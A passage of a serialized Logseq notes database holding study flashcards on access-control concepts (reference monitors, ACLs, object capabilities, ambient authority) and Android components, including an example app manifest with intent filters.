monitorlogseq____",536870916]],[logseq____"^15logseq____",[45,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[45,logseq____"^Flogseq____",40,536870916]],[logseq____"^15logseq____",[45,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[45,logseq____"^Vlogseq____",41,536870916]],[logseq____"^15logseq____",[45,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[45,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[45,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[45,logseq____"^;logseq____",logseq____"~u67b83fab-09bd-4b97-8644-25ef01db3493logseq____",536870916]],[logseq____"^15logseq____",[46,logseq____"^Qlogseq____",logseq____"[*Complete Mediation*](((67b741ff-7f35-4293-bea7-c137d36a2b77))): Monitor must not be bypassedlogseq____",536870916]],[logseq____"^15logseq____",[46,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[46,logseq____"^Flogseq____",51,536870916]],[logseq____"^15logseq____",[46,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[46,logseq____"^Vlogseq____",51,536870916]],[logseq____"^15logseq____",[46,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[46,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[46,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[46,logseq____"^Hlogseq____",54,536870916]],[logseq____"^15logseq____",[46,logseq____"^;logseq____",logseq____"~u67b83fab-deb3-46c4-8555-ede86b6e7ceflogseq____",536870916]],[logseq____"^15logseq____",[47,logseq____"^Qlogseq____",logseq____"*Protection domain* defined as set of capabilitieslogseq____",536870916]],[logseq____"^15logseq____",[47,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[47,logseq____"^Flogseq____",55,536870916]],[logseq____"^15logseq____",[47,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[47,logseq____"^Vlogseq____",58,536870916]],[logseq____"^15logseq____",[47,logseq____"^Ulogseq____",2,536870924]],[logseq____"^15logseq____",[47,logseq____"^Ulogseq____",37,536870924]],[logseq____"^15logseq____",[47,logseq____"^Ulogseq____",38,536870924]],[logseq____"^15logseq____",[47,logseq____"^;logseq____",logseq____"~u67b83fab-38bd-443f-9226-615738611fc6logseq____",536870916]],[logseq____"^15logseq____",[48,logseq____"^Qlogseq____",logseq____"*Verifiable*: Provided security goals must be verifiablelogseq____",536870916]],[logseq____"^15logseq____",[48,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[48,logseq____"^Flogseq____",61,536870916]],[logseq____"^15logseq____",[48,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[48,logseq____"^Vlogseq____",51,536870916]],[logseq____"^15logseq____",[48,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[48,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[48,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[48,logseq____"^;logseq____",logseq____"~u67b83fab-8d93-4db0-8d69-f2d1c760ff3flogseq____",536870916]],[logseq____"^15logseq____",[49,logseq____"^Qlogseq____",logseq____"### Terminology #card #security-architecturelogseq____",536870916]],[logseq____"^15logseq____",[49,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[49,logseq____"^Flogseq____",59,536870916]],[logseq____"^15logseq____",[49,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[49,logseq____"^Vlogseq____",41,536870916]],[logseq____"^15logseq____",[49,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[49,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[49,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[49,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536870916]],[logseq____"^15logseq____",[49,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[49,logseq____"^Hlogseq____",2,536870916]],[logseq____"^15logseq____",[49,logseq____"^Hlogseq____",38,536870916]],[logseq____"^15logseq____",[49,logseq____"^;logseq____",logseq____"~u67b83fab-0e27-4a82-afad-a670114dac04logseq____",536870916]],[logseq____"^15logseq____",[50,logseq____"^Qlogseq____",logseq____"Hard to determine all accessible objects of a particular subjectlogseq____",536870916]],[logseq____"^15logseq____",[50,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[50,logseq____"^Flogseq____",56,536870916]],[logseq____"^15logseq____",[50,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[50,logseq____"^Vlogseq____",57,536870916]],[logseq____"^15logseq____",[50,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[50,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[50,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[50,logseq____"^;logseq____",logseq____"~u67b83fab-a879-427a-9859-318e5c6d793elogseq____",536870916]],[logseq____"^15logseq____",[51,logseq____"^Qlogseq____",logseq____"### Properties #card #security-architecturelogseq____",536870916]],[logseq____"^15logseq____",[51,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[51,logseq____"^Flogseq____",49,536870916]],[logseq____"^15logseq____",[51,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[51,logseq____"^Vlogseq____",41,536870916]],[logseq____"^15logseq____",[51,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[51,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[51,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[51,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536870916]],[logseq____"^15logseq____",[51,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[51,logseq____"^Hlogseq____",2,536870916]],[logseq____"^15logseq____",[51,logseq____"^Hlogseq____",38,536870916]],[logseq____"^15logseq____",[51,logseq____"^;logseq____",logseq____"~u67b83fab-5dcf-4613-9f67-3a8896156700logseq____",536870916]],[logseq____"^15logseq____",[52,logseq____"^Qlogseq____",logseq____"*Subject*: Active entity acting on principals behalf, e.g., process running under userlogseq____'s identitylogseq____",536870916]],[logseq____"^15logseq____",[52,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[52,logseq____"^Flogseq____",43,536870916]],[logseq____"^15logseq____",[52,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[52,logseq____"^Vlogseq____",49,536870916]],[logseq____"^15logseq____",[52,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[52,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[52,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[52,logseq____"^;logseq____",logseq____"~u67b83fab-c08a-484b-8412-c24d1442fda3logseq____",536870916]],[logseq____"^15logseq____",[53,logseq____"^Qlogseq____",logseq____"usually implemented via *object references*, e.g., file descriptors (can, thus, be delegated to other processes if policy allows it)logseq____",536870916]],[logseq____"^15logseq____",[53,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[53,logseq____"^Flogseq____",63,536870916]],[logseq____"^15logseq____",[53,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[53,logseq____"^Vlogseq____",58,536870916]],[logseq____"^15logseq____",[53,logseq____"^Ulogseq____",2,536870924]],[logseq____"^15logseq____",[53,logseq____"^Ulogseq____",37,536870924]],[logseq____"^15logseq____",[53,logseq____"^Ulogseq____",38,536870924]],[logseq____"^15logseq____",[53,logseq____"^;logseq____",logseq____"~u67b83fab-609c-4414-9ea2-7f5463994cf5logseq____",536870916]],[logseq____"^15logseq____",[54,logseq____"^Qlogseq____",logseq____"## Complete Mediation\\nid:: 67b741ff-7f35-4293-bea7-c137d36a2b77logseq____",536870916]],[logseq____"^15logseq____",[54,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[54,logseq____"^Flogseq____",228,536870916]],[logseq____"^15logseq____",[54,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[54,logseq____"^Vlogseq____",225,536870916]],[logseq____"^15logseq____",[54,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[54,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b741ff-7f35-4293-bea7-c137d36a2b77logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[54,logseq____"^Jlogseq____",[logseq____"^18logseq____"],536870916]],[logseq____"^15logseq____",[54,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b741ff-7f35-4293-bea7-c137d36a2b77logseq____"],536870916]],[logseq____"^15logseq____",[54,logseq____"^;logseq____",logseq____"~u67b741ff-7f35-4293-bea7-c137d36a2b77logseq____",536870916]],[logseq____"^15logseq____",[55,logseq____"^Qlogseq____",logseq____"[Reference monitor]((67b75a09-cf78-4ea2-aee5-d3adb4d9802d)) checks token (removes knowledge about identities and [ambient authority]((67b7665b-d447-4148-968c-5e162ec8c3fc))logseq____",536870916]],[logseq____"^15logseq____",[55,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[55,logseq____"^Flogseq____",53,536870916]],[logseq____"^15logseq____",[55,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[55,logseq____"^Vlogseq____",58,536870916]],[logseq____"^15logseq____",[55,logseq____"^Ulogseq____",2,536870924]],[logseq____"^15logseq____",[55,logseq____"^Ulogseq____",37,536870924]],[logseq____"^15logseq____",[55,logseq____"^Ulogseq____",38,536870924]],[logseq____"^15logseq____",[55,logseq____"^;logseq____",logseq____"~u67b83fab-3a21-4db7-a064-7cf12ad59ea9logseq____",536870916]],[logseq____"^15logseq____",[56,logseq____"^Qlogseq____",logseq____"Relies on *authentication* and [ambient authority]((67b7665b-d447-4148-968c-5e162ec8c3fc))logseq____",536870916]],[logseq____"^15logseq____",[56,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[56,logseq____"^Flogseq____",62,536870916]],[logseq____"^15logseq____",[56,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[56,logseq____"^Vlogseq____",57,536870916]],[logseq____"^15logseq____",[56,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[56,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[56,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[56,logseq____"^;logseq____",logseq____"~u67b83fab-5117-4a2d-bec2-89e4364e6ef9logseq____",536870916]],[logseq____"^15logseq____",[57,logseq____"^Qlogseq____",logseq____"## ACL(Access Control List) #card #security-architecturelogseq____",536870916]],[logseq____"^15logseq____",[57,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[57,logseq____"^Flogseq____",41,536870916]],[logseq____"^15logseq____",[57,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[57,logseq____"^Vlogseq____",37,536870916]],[logseq____"^15logseq____",[57,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[57,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[57,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[57,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[57,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[57,logseq____"^Hlogseq____",2,536870916]],[logseq____"^15logseq____",[57,logseq____"^Hlogseq____",38,536870916]],[logseq____"^15logseq____",[57,logseq____"^;logseq____",logseq____"~u67b83fab-08c4-41ff-9a55-2383ed229de1logseq____",536870916]],[logseq____"^15logseq____",[58,logseq____"^Qlogseq____",logseq____"## Object-Capabilities #card #security-architecturelogseq____",536870923]],[logseq____"^15logseq____",[58,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[58,logseq____"^Flogseq____",57,536870916]],[logseq____"^15logseq____",[58,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[58,logseq____"^Vlogseq____",37,536870916]],[logseq____"^15logseq____",[58,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[58,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[58,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[58,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870923]],[logseq____"^15logseq____",[58,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536870923]],[logseq____"^15logseq____",[58,logseq____"^Hlogseq____",2,536870923]],[logseq____"^15logseq____",[58,logseq____"^Hlogseq____",38,536870923]],[logseq____"^15logseq____",[58,logseq____"^;logseq____",logseq____"~u67b83fab-1843-422b-a7ee-edcaead07ce4logseq____",536870916]],[logseq____"^15logseq____",[59,logseq____"^Qlogseq____",logseq____"~```mermaid\\nflowchart LR\\n S((Subjectlogseq____<brlogseq____>e.g. User Process))\\n D{\\logseq____"Reference Monitorlogseq____<brlogseq____>(Authorized?)\\logseq____"}\\n O((Objectlogseq____<brlogseq____>e.g. File or Resource))\\n SP([Security Policy])\\n\\n S -- \\logseq____"access request\\logseq____" --logseq____> D\\n SP --logseq____> D\\n D -- \\logseq____"If authorized\\logseq____" --logseq____> O\\n D -- \\logseq____"If not authorized\\logseq____" --logseq____> X(Access Denied)\\n```logseq____",536870916]],[logseq____"^15logseq____",[59,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[59,logseq____"^Flogseq____",45,536870916]],[logseq____"^15logseq____",[59,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[59,logseq____"^Vlogseq____",41,536870916]],[logseq____"^15logseq____",[59,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[59,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[59,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[59,logseq____"^;logseq____",logseq____"~u67b83fab-9d35-41d6-abe8-55ba54cd1ec0logseq____",536870916]],[logseq____"^15logseq____",[60,logseq____"^Qlogseq____",logseq____"### Ambient Authority #card #security-architecture\\nid:: 67b7665b-d447-4148-968c-5e162ec8c3fclogseq____",536870916]],[logseq____"^15logseq____",[60,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[60,logseq____"^Flogseq____",351,536871283]],[logseq____"^15logseq____",[60,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[60,logseq____"^Vlogseq____",57,536870916]],[logseq____"^15logseq____",[60,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[60,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[60,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[60,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b7665b-d447-4148-968c-5e162ec8c3fclogseq____",logseq____"^17logseq____",3],536870916]],[logseq____"^15logseq____",[60,logseq____"^Jlogseq____",[logseq____"^18logseq____"],536870916]],[logseq____"^15logseq____",[60,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b7665b-d447-4148-968c-5e162ec8c3fclogseq____"],536870916]],[logseq____"^15logseq____",[60,logseq____"^Hlogseq____",2,536870916]],[logseq____"^15logseq____",[60,logseq____"^Hlogseq____",38,536870916]],[logseq____"^15logseq____",[60,logseq____"^;logseq____",logseq____"~u67b7665b-d447-4148-968c-5e162ec8c3fclogseq____",536870916]],[logseq____"^15logseq____",[61,logseq____"^Qlogseq____",logseq____"*Tamper proof*: Protection from compromiselogseq____",536870916]],[logseq____"^15logseq____",[61,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[61,logseq____"^Flogseq____",46,536870916]],[logseq____"^15logseq____",[61,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[61,logseq____"^Vlogseq____",51,536870916]],[logseq____"^15logseq____",[61,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[61,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[61,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[61,logseq____"^;logseq____",logseq____"~u67b83fab-bf6b-448f-91e6-2c840cc47be9logseq____",536870916]],[logseq____"^15logseq____",[62,logseq____"^Qlogseq____",logseq____"[Reference monitor]((67b75a09-cf78-4ea2-aee5-d3adb4d9802d)) checks subject against list of authorized subjectslogseq____",536870916]],[logseq____"^15logseq____",[62,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[62,logseq____"^Flogseq____",39,536870916]],[logseq____"^15logseq____",[62,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[62,logseq____"^Vlogseq____",57,536870916]],[logseq____"^15logseq____",[62,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[62,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[62,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[62,logseq____"^;logseq____",logseq____"~u67b83fab-38c4-47e0-9727-505c6e00d263logseq____",536870916]],[logseq____"^15logseq____",[63,logseq____"^Qlogseq____",logseq____"*subject-centered*: capabilities as *unforgeable*, *tamper-proof* token defining its holderlogseq____'s privilegeslogseq____",536870916]],[logseq____"^15logseq____",[63,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[63,logseq____"^Flogseq____",58,536870916]],[logseq____"^15logseq____",[63,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[63,logseq____"^Vlogseq____",58,536870916]],[logseq____"^15logseq____",[63,logseq____"^Ulogseq____",2,536870924]],[logseq____"^15logseq____",[63,logseq____"^Ulogseq____",37,536870924]],[logseq____"^15logseq____",[63,logseq____"^Ulogseq____",38,536870924]],[logseq____"^15logseq____",[63,logseq____"^;logseq____",logseq____"~u67b83fab-8c77-48e7-ae66-38a9075f9be1logseq____",536870916]],[logseq____"^15logseq____",[64,logseq____"^Qlogseq____",logseq____"Authorization is based on *subject identity* (only specify the object to access and the operation)logseq____",536870916]],[logseq____"^15logseq____",[64,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[64,logseq____"^Flogseq____",341,536870927]],[logseq____"^15logseq____",[64,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[64,logseq____"^Vlogseq____",60,536870916]],[logseq____"^15logseq____",[64,logseq____"^Ulogseq____",2,536871284]],[logseq____"^15logseq____",[64,logseq____"^Ulogseq____",37,536871284]],[logseq____"^15logseq____",[64,logseq____"^Ulogseq____",38,536871284]],[logseq____"^15logseq____",[64,logseq____"^;logseq____",logseq____"~u67b83fab-df44-47da-b00b-fbc0dd83bb41logseq____",536870916]],[logseq____"^15logseq____",[74,logseq____"^Klogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[74,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[74,logseq____"^Ylogseq____",logseq____"broadcast receiver componentslogseq____",536870916]],[logseq____"^15logseq____",[74,logseq____"^11logseq____",logseq____"Broadcast Receiver Componentslogseq____",536870916]],[logseq____"^15logseq____",[74,logseq____"^Blogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[74,logseq____"^;logseq____",logseq____"~u67b83fac-b953-4ec2-a25e-a361e7ca3ae3logseq____",536870916]],[logseq____"^15logseq____",[75,logseq____"^Klogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[75,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[75,logseq____"^Ylogseq____",logseq____"intent messageslogseq____",536870916]],[logseq____"^15logseq____",[75,logseq____"^11logseq____",logseq____"Intent Messageslogseq____",536870916]],[logseq____"^15logseq____",[75,logseq____"^Blogseq____",1740134121672,536872930]],[logseq____"^15logseq____",[75,logseq____"^;logseq____",logseq____"~u67b983c8-aa2a-4b14-8cd9-a9e084e23c17logseq____",536873242]],[logseq____"^15logseq____",[76,logseq____"^Qlogseq____",logseq____"### Intent Filters\\nid:: 6717978c-801a-4383-b970-cffcfbb13343logseq____",536870916]],[logseq____"^15logseq____",[76,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[76,logseq____"^Flogseq____",85,536870916]],[logseq____"^15logseq____",[76,logseq____"^Xlogseq____",28,536870916]],[logseq____"^15logseq____",[76,logseq____"^Vlogseq____",90,536870916]],[logseq____"^15logseq____",[76,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[76,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[76,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[76,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"6717978c-801a-4383-b970-cffcfbb13343logseq____",logseq____"^17logseq____",3],536873236]],[logseq____"^15logseq____",[76,logseq____"^Jlogseq____",[logseq____"^18logseq____"],536873236]],[logseq____"^15logseq____",[76,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"6717978c-801a-4383-b970-cffcfbb13343logseq____"],536873236]],[logseq____"^15logseq____",[76,logseq____"^;logseq____",logseq____"~u6717978c-801a-4383-b970-cffcfbb13343logseq____",536870916]],[logseq____"^15logseq____",[77,logseq____"^Qlogseq____",logseq____"Due to privacy concerns, apps do not have access to a list of installed packageslogseq____",536870916]],[logseq____"^15logseq____",[77,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[77,logseq____"^Flogseq____",92,536870916]],[logseq____"^15logseq____",[77,logseq____"^Xlogseq____",28,536870916]],[logseq____"^15logseq____",[77,logseq____"^Vlogseq____",92,536870916]],[logseq____"^15logseq____",[77,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[77,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[77,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[77,logseq____"^;logseq____",logseq____"~u67b83fab-68e2-496b-b0b7-4a9500a37147logseq____",536870916]],[logseq____"^15logseq____",[78,logseq____"^Qlogseq____",logseq____"### Example\\nid:: 6717ce84-d0f0-48ee-8138-2dd29ce1cc0elogseq____",536870916]],[logseq____"^15logseq____",[78,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[78,logseq____"^Flogseq____",86,536870916]],[logseq____"^15logseq____",[78,logseq____"^Xlogseq____",28,536870916]],[logseq____"^15logseq____",[78,logseq____"^Vlogseq____",79,536870916]],[logseq____"^15logseq____",[78,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[78,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[78,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[78,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"6717ce84-d0f0-48ee-8138-2dd29ce1cc0elogseq____",logseq____"^17logseq____",3],536873236]],[logseq____"^15logseq____",[78,logseq____"^Jlogseq____",[logseq____"^18logseq____"],536873236]],[logseq____"^15logseq____",[78,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"6717ce84-d0f0-48ee-8138-2dd29ce1cc0elogseq____"],536873236]],[logseq____"^15logseq____",[78,logseq____"^;logseq____",logseq____"~u6717ce84-d0f0-48ee-8138-2dd29ce1cc0elogseq____",536870916]],[logseq____"^15logseq____",[79,logseq____"^Qlogseq____",logseq____"## Declares #card #android-basicslogseq____",536870916]],[logseq____"^15logseq____",[79,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[79,logseq____"^Flogseq____",28,536870916]],[logseq____"^15logseq____",[79,logseq____"^Xlogseq____",28,536870916]],[logseq____"^15logseq____",[79,logseq____"^Vlogseq____",28,536870916]],[logseq____"^15logseq____",[79,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[79,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[79,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[79,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873236]],[logseq____"^15logseq____",[79,logseq____"^Jlogseq____",[],536873236]],[logseq____"^15logseq____",[79,logseq____"^Hlogseq____",2,536873236]],[logseq____"^15logseq____",[79,logseq____"^Hlogseq____",24,536873236]],[logseq____"^15logseq____",[79,logseq____"^;logseq____",logseq____"~u67b83fab-5684-4d9e-bdb0-a7a50eb1b95alogseq____",536870916]],[logseq____"^15logseq____",[80,logseq____"^Qlogseq____",logseq____"Example: see ((6717ce84-d0f0-48ee-8138-2dd29ce1cc0e))logseq____",536870916]],[logseq____"^15logseq____",[80,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[80,logseq____"^Flogseq____",83,536870916]],[logseq____"^15logseq____",[80,logseq____"^Xlogseq____",28,536870916]],[logseq____"^15logseq____",[80,logseq____"^Vlogseq____",76,536870916]],[logseq____"^15logseq____",[80,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[80,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[80,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[80,logseq____"^Hlogseq____",78,536873236]],[logseq____"^15logseq____",[80,logseq____"^;logseq____",logseq____"~u67b83fab-3759-40e7-b7d1-4509693c6052logseq____",536870916]],[logseq____"^15logseq____",[81,logseq____"^Qlogseq____",logseq____"if set to `true`, another application can call this component using [Intents]([[Intent Messages]])logseq____",536870916]],[logseq____"^15logseq____",[81,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[81,logseq____"^Flogseq____",91,536870916]],[logseq____"^15logseq____",[81,logseq____"^Xlogseq____",28,536870916]],[logseq____"^15logseq____",[81,logseq____"^Vlogseq____",85,536870916]],[logseq____"^15logseq____",[81,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[81,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[81,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[81,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[81,logseq____"^Hlogseq____",75,536873236]],[logseq____"^15logseq____",[81,logseq____"^;logseq____",logseq____"~u67b83fab-b13e-4962-a444-45ec6b447692logseq____",536870916]],[logseq____"^15logseq____",[82,logseq____"^Qlogseq____",logseq____"~```xml\\nlogseq____<manifest xmlns:android=\\logseq____"http://schemas.android.com/apk/res/android\\logseq____"\\n xmlns:tools=\\logseq____"http://schemas.android.com/tools\\logseq____"logseq____>\\n logseq____<application\\n\\tandroid:icon=\\logseq____"@mipmap/ic_launcher\\logseq____"\\n\\tandroid:label=\\logseq____"@string/app_name”\\n\\t...\\n\\tandroid:roundIcon=\\logseq____"@mipmap/ic_launcher_round\\logseq____"\\n\\ttools:targetApi=\\logseq____"31\\logseq____"logseq____>\\n\\t\\n\\t\\tlogseq____<activity android:name=\\logseq____".MainActivity” android:exported=\\logseq____"true\\logseq____"logseq____>\\n\\t\\t\\tlogseq____<intent-filterlogseq____>\\n\\t\\t\\t\\tlogseq____<action android:name=\\logseq____"android.intent.action.MAIN\\logseq____" /logseq____>\\n\\t\\t\\t\\tlogseq____<category android:name=\\logseq____"android.intent.category.LAUNCHER\\logseq____" /logseq____>\\n\\t\\t\\tlogseq____</intent-filterlogseq____>\\n\\t\\tlogseq____</activitylogseq____>\\n\\n \\t\\tlogseq____<receiver android:name=”.MyReceiver\\logseq____" logseq____>\\n\\t\\t\\tlogseq____<intent-filterlogseq____>\\n\\t\\t\\tlogseq____<action android:name=\\logseq____"android.intent.action.BOOT_COMPLETED\\logseq____" /logseq____>\\n\\t\\t\\tlogseq____</intent-filterlogseq____>\\n\\t\\tlogseq____</receiverlogseq____>\\n\\t\\t...\\n\\tlogseq____</applicationlogseq____>\\nlogseq____</manifestlogseq____>\\n```logseq____",536870916]],[logseq____"^15logseq____",[82,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[82,logseq____"^Flogseq____",78,536870916]],[logseq____"^15logseq____",[82,logseq____"^Xlogseq____",28,536870916]],[logseq____"^15logseq____",[82,logseq____"^Vlogseq____",78,536870916]],[logseq____"^15logseq____",[82,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[82,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[82,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[82,logseq____"^;logseq____",logseq____"~u67b83fab-627f-48c9-be08-c3c802d79962logseq____",536870916]],[logseq____"^15logseq____",[83,logseq____"^Qlogseq____",logseq____"Specify information about which [Intents]([[Intent Messages]]) the component 